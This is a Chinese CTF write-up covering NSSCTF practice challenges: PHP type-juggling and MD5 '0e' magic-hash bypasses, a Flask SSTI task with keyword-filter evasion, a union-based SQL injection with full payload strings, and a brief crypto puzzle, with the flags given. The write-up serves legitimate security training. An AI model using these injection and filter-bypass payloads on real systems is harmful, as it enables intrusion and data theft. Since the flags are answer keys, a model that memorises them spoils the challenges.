web
[NSSCTF 2022 Spring Recruit]babyphp:
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>
preg_match() 函数:用于进行正则表达式匹配,成功返回 1 ,否则返回 0
intval ():获取变量的整数值
isset()函数:在php中用来判断变量是否声明,该函数返回布尔类型的值,即true/false。isset只能用于变量,传递任何其它参数都将造成解析错误。
is_string():用于检测变量是否是字符串
看代码发现有三个if条件需要绕过
第一个:
用post对a进行传参,参数不能包含0-9的数字且要是整型
绕过preg_match()函数可以用数组绕过
显示go on,成功绕过
第二个:
要求传入的b1不能等于b2且b1的MD5值和b2的MD5值相等,我们可以利用数组绕过,传入两个数组在比较时,数组的md5值都是false从而使两个数组的md5值相同
回显yee,成功绕过第二层
第三个:
利用科学计数法绕过,==弱类型比较会先把两种字符串类型转成相同的再进行比较,所以md5值为0e开头就会被转化为数字从而绕过
得到flag:NSSCTF{489002a1-b36a-4be3-aa2d-45fe26b47625}
可绕过md5弱比较的字符串及其md5值:
MMHUWUV 0e701732711630150438129209816536
MAUXXQC 0e478478466848439040434801845361
IHKFRNS 0e256160682445802696926137988570
GZECLQZ 0e537612333747236407713628225676
在php中有两种比较符号: 一种是 ==,另外一种是 ===,都是用来比较两个数值是否相等的操作符,但他们也是有区别的:
1、== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。
2、=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。
**当要比较的两种字符串的类型相同时,== 和 === 是相等的。
1、数字和“e"开头加上数字的字符串(例如"1e123”)会当作科学计数法去比较;
2、0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0;
3、当字符串被当作一个数值来处理时,如果该字符串没有包含’.’,‘e’,'E’并且其数值在整形的范围之内,该字符串作为int来取值,其他所有情况下都被作为float来取值,并且字符串开始部分决定它的取值,开始部分为数字,则其值就是开始的数字,否则,其值为0。
[NCTF 2018]flask真香
打开题目页面
到处点点看,有发现,页面内容和url一样
输入运算式发现能执行,存在ssti注入漏洞
测试一下,发现有过滤,被过滤的内容不会显示在页面上
经过测试发现大约有这么些字符是被过滤的
class
mro
subclasses
builtins
eval
import
open
os
拼接进行绕过,执行命令,发现flag文件
cat flag
[SWPUCTF 2021 新生赛]sql
打开题目,看到网页标题为 参数是wllm,传一个参看看
1、测试一下闭合,是单引号闭合
输入order by语句和其它语句都显示非法操作,猜测应该是有过滤,经过多次尝试确定应该是过滤了空格,我们用/**/绕过空格(%20 %a0也可以),%23是注释符#的url编码
2、order by语句测试有几列,3正常回显,4回显不正常,所以有3列
3、联合查询语句测试有几个回显点,注意将前面的参数值置换为空
?wllm=-1'/**/union/**/select/**/1,2,3%23
4、查库名
wllm=-1'union/**/select/**/1,2,group_concat(schema_name)from/**/information_schema.schemata%23 发现页面回显有限制,mysql的group_concat函数查询结果默认长度1024,超过这个长度的结果将不显示。
查当前数据库
5、查表,=被过滤了用like绕过,发现flag表
6、查列
-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23
7、查字段,发现只能显示20位,我们用mid函数分段查询
-1'union/**/select/**/1,2,mid(flag,21,40)/**/from/**/LTLT_flag%23
-1'union/**/select/**/1,2,mid(flag,41,60)/**/from/**/LTLT_flag%23
得到flag NSSCTF{a149f877-871e-4285-830c-bf613b5abfcd}
Crypto
什锦:
猪圈密码:
brainfuck密码:
解密后是中文:但是猪猪好好吃诶
社会主义核心价值观加密:
得到flag:NSSCTF{c05485d678cb8a6beb401f31d762532a}